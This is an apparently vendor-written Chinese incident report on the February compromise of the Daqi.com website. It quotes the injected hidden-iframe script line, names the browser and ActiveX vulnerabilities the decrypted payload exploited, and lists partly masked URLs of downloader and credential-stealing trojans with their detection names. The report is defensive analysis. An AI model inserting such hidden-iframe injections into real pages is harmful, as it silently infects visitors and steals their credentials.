大旗网挂马事件

大旗

2月15日，大旗网 (http://www.daqi.com/)被黑客植入病毒，用户如果访问该网站，系统就会自动从恶意网站上下载并运行恶意程序。被感染病毒的用户系统可能被远程控制，盗取用户敏感信息。甚至导致死机。
该网站问题代码：

document.write("<iframe width=100 height=0 src=new.html><\/iframe>");
http://go.chac****.cn/w50/new.html网马代码：

该加密网马解密后可知利用以下漏洞来传播：

MS06014漏洞 (clsid:BD96C556-65A3-11D0-983A-00C04FC29E36)

暴风影音播放器MPS.StormPlayer漏洞

RealPlayer播放器IERPCtl.IERPCtl.1漏洞

联众世界游戏大厅所安装的GLCHAT.GLChatCtrl.1 ActiveX控件漏洞

Real Networks RealPlayer包含的'rmoc3260.dll' ActiveX控件存在内存破坏漏洞

Adobe Flash Player SWF文件漏洞

微软IE7漏洞

Microsoft Office Snapshot Viewer ActiveX Exploit

当用户访问http://www.daqi.com/时，系统会自动下载以下病毒文件：

http://go.chaji****.cn/jpg/cw01.exe       病毒名：(Trojan.Win32.Inject.nry)

http://go.chaji****.cn/jpg/cw02.exe       病毒名：(Worm.Win32.Downloader.aaz)

http://go.chaji****.cn/jpg/cw03.exe       病毒名：(Worm.Win32.Downloader.zd)

http://go.chaji****.cn/jpg/cw04.exe       病毒名：(Trojan.Win32.Agent.bnxc)

http://go.chaji****.cn/jpg/cw05.exe       病毒名：(Worm.Win32.Downloader.aay)

http://go.chaji****.cn/jpg/cw06.exe       病毒名：(Trojan-GameThief.Win32.WOW.fgw)

http://go.chaji****.cn/jpg/cw07.exe       病毒名：(Trojan-GameThief.Win32.Magania.gen)

http://go.chaji****.cn/jpg/cw08.exe       病毒名：(Trojan.Win32.Agent.bpnf)

http://go.chaji****.cn/jpg/cw09.exe       病毒名：(Worm.Win32.Downloader.aaz)

http://go.chaji****.cn/jpg/cw10.exe       病毒名：(Trojan.Win32.Agent.bnxc)

http://go.chaji****.cn/jpg/cw11.exe       病毒名：(Worm.Win32.Downloader.za)

http://go.chaji****.cn/jpg/cw12.exe       病毒名：(Worm.Win32.Downloader.aay)

http://go.chaji****.cn/jpg/cw13.exe       病毒名：(Worm.Win32.Downloader.aay)

http://go.chaji****.cn/jpg/cw14.exe       病毒名：(Trojan-Dropper.Win32.Agent.ahcr)

http://go.chaji****.cn/jpg/cw15.exe       病毒名：(Trojan-Dropper.Win32.Agent.ahcr)

http://go.chaji****.cn/jpg/cw16.exe       病毒名：(Worm.Win32.Downloader.aay)

http://go.chaji****.cn/jpg/cw17.exe       病毒名：(Worm.Win32.Downloader.aay)

http://go.chaji****.cn/jpg/cw18.exe       病毒名：(Trojan.Win32.Agent.bpwp)

http://go.chaji****.cn/jpg/cw19.exe       病毒名：(Trojan.Win32.Agent.bpwp)

http://go.chaji****.cn/jpg/cw20.exe       病毒名：(Trojan-GameThief.Win32.OnLineGames.bkue)

http://go.chaji****.cn/jpg/cw21.exe       病毒名：(Trojan.Win32.Agent.bpnf)

http://go.chaji****.cn/jpg/cw22.exe       病毒名：(Worm.Win32.Downloader.aat)

http://go.chaji****.cn/jpg/cw23.exe       病毒名：(Worm.Win32.Downloader.aay)

http://go.chaji****.cn/jpg/cw24.exe       病毒名：(Worm.Win32.Downloader.aay)

http://go.chaji****.cn/jpg/cw25.exe       病毒名：(Trojan-GameThief.Win32.Magania.gen)

http://go.chaji****.cn/jpg/cw26.exe       病毒名：(Trojan-PSW.Win32.QQPass.fyj)

http://go.chaji****.cn/jpg/cw27.exe       病毒名：(Trojan-GameThief.Win32.OnLineGames.bkpp)

http://go.chaji****.cn/jpg/cw28.exe       病毒名：(Trojan.Win32.Agent.bnxc)

http://go.chaji****.cn/jpg/host.exe       病毒名：(Trojan.Win32.Agent.bnxc)

以上病毒文件为下载者木马和游戏盗号木马，自动运行后将会，盗取用户敏感信息，甚至导致死机。由于下载数量太多，这里不一一分析。